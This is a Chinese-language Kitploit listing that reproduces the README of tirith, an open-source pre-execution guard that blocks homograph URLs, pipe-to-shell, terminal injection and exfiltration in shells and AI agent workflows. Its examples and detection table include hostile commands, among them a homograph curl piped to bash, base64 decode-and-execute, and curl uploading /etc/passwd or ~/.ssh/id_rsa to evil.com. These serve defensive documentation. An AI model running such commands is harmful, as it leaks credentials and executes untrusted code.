Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
tirith — 为开发者和AI代理提供终端安全。拦截同形异义URL、管道到shell、ANSI注入、混淆载荷、数据外泄以及恶意AI技能/配置,在它们执行之前。 | Kitploit
工具/GitHubGitHub/sheeki03/tirith
OSINT (开源情报)钓鱼工具漏洞扫描器数据泄露恶意软件分析DevSecOps秘密检测威胁情报供应链安全学习与教育精选资源
2.7k901421天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
sheeki03/tirith

tirith

为开发者和AI代理提供终端安全。拦截同形异义URL、管道到shell、ANSI注入、混淆载荷、数据外泄以及恶意AI技能/配置,在它们执行之前。

查看仓库网站

tirith

你的浏览器能拦截这个。你的终端不能。

tirith, terminal security

CI GitHub Stars License: AGPL-3.0

Website | Docs | SKILL.md | Changelog | Releases

Vercel OSS Program

独立开源项目,托管由 Vercel 开源计划(2026 年春季批次)提供支持。


你能看出区别吗?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised

你做不到。你的终端也做不到。两个 `і` 字符都是西里尔字母(U+0456),而不是拉丁字母 `i`。第二个 URL 会解析到攻击者的服务器。脚本会在你察觉之前执行。

浏览器多年前就解决了这个问题。终端仍然毫无质疑地渲染 Unicode、ANSI 转义序列和不可见字符。AI 代理运行 shell 命令并安装软件包,却不检查其中内容。

**Tirith 守在门前。** 它会拦截命令、粘贴的内容和扫描的文件,在它们执行之前,从签名的威胁情报数据库中检测同形异义 URL、混淆载荷、凭据窃取、恶意 AI 技能/配置,以及已知的恶意软件包/域名/IP。```bash
brew install tirith

然后在你的 shell 配置文件中激活:```bash

zsh

eval "$(tirith init --shell zsh)"

bash

eval "$(tirith init --shell bash)"

fish

tirith init --shell fish | source

> [!TIP]
> `eval "$(tirith init)"` 会自动检测你当前使用的 shell(它会检查父进程,必要时回退到 `$SHELL`)。只有在你想要覆盖检测结果时,才需要显式使用 `--shell` 标志。

以上就是交互式 shell 覆盖的全部内容。该 shell 接受的命令会在钩子加载且健康时被检查;确切的阻止行为取决于 shell 和模式。安装和升级后请运行 `tirith doctor`,并在将钩子视为授权边界之前阅读[按 shell 划分的执行](#enforcement-by-shell)。干净的命令保持静默,通常走快速路径。

也可通过 [npm](#cross-platform)、[cargo](#cross-platform)、[mise](#cross-platform)、[apt/dnf](#linux-packages) 以及[更多方式](#install)获取。

---

## 实际效果

**同形异义字攻击,在执行前被阻止:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

该命令永远不会执行。

使用干净 URL 的管道到 shell,已警告,未阻止:``` $ curl -fsSL https://get.docker.com | sh

tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.

警告输出到 stderr。命令仍会运行。

**Base64 解码-执行链,已阻止:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

捕获通过 sudo/env 包装器以及 PowerShell -EncodedCommand 的解码链。

凭据外泄,已阻止:``` $ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server

涵盖所有 curl/wget 上传标志、环境变量(`$AWS_SECRET_ACCESS_KEY`)以及命令替换。

**扫描时捕获的恶意技能文件:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

扫描 JS/Python 文件,查找混淆载荷、动态代码执行和秘密数据外泄模式。

正常命令,不可见:``` $ git status $ ls -la $ docker compose up -d

Nothing。零输出。你忘了 tirith 正在运行。

---

## 它能捕获什么

**35 个类别中的 244 条检测规则。**

| 类别 | 它阻止什么 |
|----------|--------------|
| **同形异义攻击** | 主机名中的西里尔/希腊相似字符、punycode 域名、混合文字标签、相似顶级域名、易混淆域名、文本级易混淆检测(数学字母数字、同词混合文字) |
| **终端注入** | ANSI 转义序列、双向文本覆盖、零宽字符、Unicode 标签、不可见数学运算符、变体选择符、谚文填充符 |
| **隐写术防御** | 不可见空白编码(12 种 Unicode 空格变体)、蒙古文元音分隔符、谚文填充字符、数学字母数字替换、针对 st3gg 风格文本隐写的防御 |
| **管道到 shell** | `curl \| bash`、`wget \| sh`、`httpie \| sh`、`xh \| sh`、`python <(curl ...)`、`eval $(wget ...)`,以及许多包装、解码和间接路径 |
| **Base64 解码执行** | `base64 -d \| bash`、`python -c "exec(b64decode(...))"`、`powershell -EncodedCommand`、通过 sudo/env 包装器的解码链 |
| **数据外泄** | `curl -d @/etc/passwd`、`curl -T ~/.ssh/id_rsa`、`wget --post-file`、环境变量上传(`$AWS_SECRET_ACCESS_KEY`)、命令替换外泄 |
| **代码文件扫描** | 混淆载荷(`eval(atob(...))`)、动态代码执行(`exec(b64decode(...))`)、JS/Python 文件中通过 `fetch`/`requests.post` 进行的机密外泄 |
| **凭据检测** | AWS 密钥、GitHub PAT、Stripe/Slack/SendGrid/Anthropic/GCP/npm 令牌、私钥块,以及基于熵的通用机密检测 |
| **入侵后行为** | 进程内存抓取(`/proc/*/mem`)、Docker 远程权限提升、凭据文件扫描,针对 TeamPCP 和 UNC1069 入侵后工具进行校准 |
| **命令安全** | 点文件覆盖、归档解压到敏感路径、云元数据端点访问、私有网络访问 |
| **不安全传输** | 明文 HTTP 管道到 shell、`curl -k`、禁用 TLS 验证、隐藏目标的短链接 |
| **环境** | 代理劫持、敏感环境变量导出、通过环境变量进行代码注入、解释器劫持、shell 注入环境 |
| **配置文件安全** | 配置注入、可疑指标、配置中的非 ASCII/不可见 Unicode、MCP 服务器安全(不安全/不受信任/重复/过于宽松) |
| **生态系统威胁** | Git clone 域名抢注、不受信任的 Docker 注册表、pip/npm URL 安装、web3 RPC 端点、vet 未配置 |
| **安装命令安全** | 从管道下载添加的 APT 仓库、`[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never`(禁用签名检查)、针对原始/缩短的远程清单执行 `kubectl apply -f`、来自不受信任仓库的 Helm chart、来自不受信任远程源的 Terraform 模块、来自任意 URL 的 `brew install`/`tap` |
| **路径分析** | 非 ASCII 路径、路径中的同形字符、双重编码 |
| **渲染内容** | 隐藏的 CSS/颜色内容、隐藏的 HTML 属性、注释内容分析(提示注入为 High,破坏性命令为 Medium) |
| **伪装检测** | 服务器端伪装(机器人 vs 浏览器)、剪贴板隐藏内容、PDF 隐藏文本 |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`、Windows Defender 排除项(`Add-MpPreference -Exclusion*`)、内联 `iex (iwr ...)` 下载执行 |
| **终端输出防御** | OSC 52 剪贴板写入、伪造提示符、OSC 8 超链接和标题/清屏操纵、命令或 MCP 工具输出中的提示注入(同时扫描原始和解混淆内容,因此不可见字符、易混淆、间隔、leet 和短 base64/hex 规避也会被捕获),以及输出数据外泄(信标 URL 或“读取机密然后发送”指令) |
| **操作上下文** | 针对标记为生产的云/k8s 上下文和 SSH 主机的破坏性命令、没有匹配已保存计划的 Terraform / Pulumi / OpenTofu `apply`、有风险的 sudo 提权、特权 `docker run` |
| **工作站与持久化** | 权限宽松的凭据文件和明文令牌(`~/.ssh`、`~/.aws`、`.npmrc`)、持久化立足点(shell rc、`authorized_keys`、crontab、LaunchAgents、git `core.hooksPath`)、PATH 劫持顺序、可执行文件来源、有风险的别名,以及敏感环境变量生命周期 |
| **爆炸半径与关联** | 逃逸出仓库的删除、大规模删除、执行从有风险来源下载的文件,以及会话链,例如先写入机密再网络访问,或先删除再 `git push --force` |
| **信任、证明与来源** | 签名命令卡不匹配、金丝雀蜜标触碰、粘贴来源主机不匹配、调用方来源(代理)策略拒绝、MCP 锁文件漂移,以及 AI 配置相对于已知安全快照的漂移 |
| **Web3 命令防护** | 来自 Cast / Forge / Hardhat / Solana / Anchor 命令的链上写入(当同一命令还禁用了声明的安全控制时为 High)、命令行上的原始私钥、密钥对或助记词材料,以及操作者的 `web3_guard` 策略不信任的 RPC 端点或签名者。仅语法和策略:不读取链状态、不模拟交易、不对地址评分 |
| **钱包外泄** | 已审查的钱包、密钥库、浏览器钱包和 Solana 密钥对材料流向已证实的远程接收端,包括归档、base64、hex、压缩器和加密器暂存跳转,以及 `xargs` / `find -exec` 操作数提升。仅源读取故意不算作发现 |
| **CI 制品投毒** | 一个 fork 可触达的工作流上传构建制品,被绑定到触发运行的特权 `workflow_run` 工作流消费,然后执行、source、PATH 修改、发布或部署它 |

---

## tirith 不能防护什么

Tirith 在命令、粘贴文本和文件执行**之前**分析它们的**结构**。它是执行前门禁,不是运行时防御,不涵盖:

- **通用运行时沙箱:** 普通 shell 钩子和 `tirith check` 会警告或阻止;它们不会在启动后隔离命令。显式的 `capsule run --preset untrusted-project` 和强制 `pkg install` 路径仅在受支持的 x86_64 Linux 主机上提供故障关闭式隔离。
- **执行后网络监控:** 进程启动后在网络上的行为不在范围内。
- **通用恶意软件/载荷检测:** tirith 不是杀毒软件,不会引爆载荷。它分析结构,可以匹配来自签名威胁数据库的精确指标和制品/文件哈希,但未知载荷不会因未匹配而被证明为良性。(`tirith run` 检查下载脚本的结构;它仍然不是动态恶意软件分析。)
- **特权 root/admin 攻击者:** 任何已经是 root 或 admin 的人都可以轻松绕过 tirith。它防御的是被欺骗的输入,而不是已经拥有机器的攻击者。
- **反调试/防篡改:** tirith 不抵抗逆向工程,也不保护自身二进制文件免受本地攻击者攻击。
- **链上分析:** Web3 防护读取命令语法。它不读取链状态、不模拟交易、不解析 ENS、不对地址评分、不审计合约,也不监视内存池。
- **npm 制品防火墙:** tirith 解析 npm 命令语法和注册表身份事实,并可以向项目自身的 npm 询问其签名和来源状态。它不下载、解压、隔离或绑定 npm 安装的 tarball 字节。受控的、哈希固定的制品防火墙仅适用于 Python。
- **浏览器取证或监控:** `tirith browser audit` 是对扩展源码树的显式、一次性、只读完整性审计。它从不读取 cookie、历史记录、保存的密码、存储、钱包数据库或 `Local State`,从不删除或隔离任何内容,也没有守护进程。
- **可复现构建:** `attest` 回执记录两个树在某一时刻包含的内容。Tirith 不运行你的构建,也无法说明输出是否来自源代码。部署回执是时间点测量,不是持续监控。

参见 [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) 了解完整威胁模型和明确的非目标,参见 [docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) 了解 tirith 检测、决策、执行、隔离和证明的逐能力账本。

---

## 已知限制
下载工具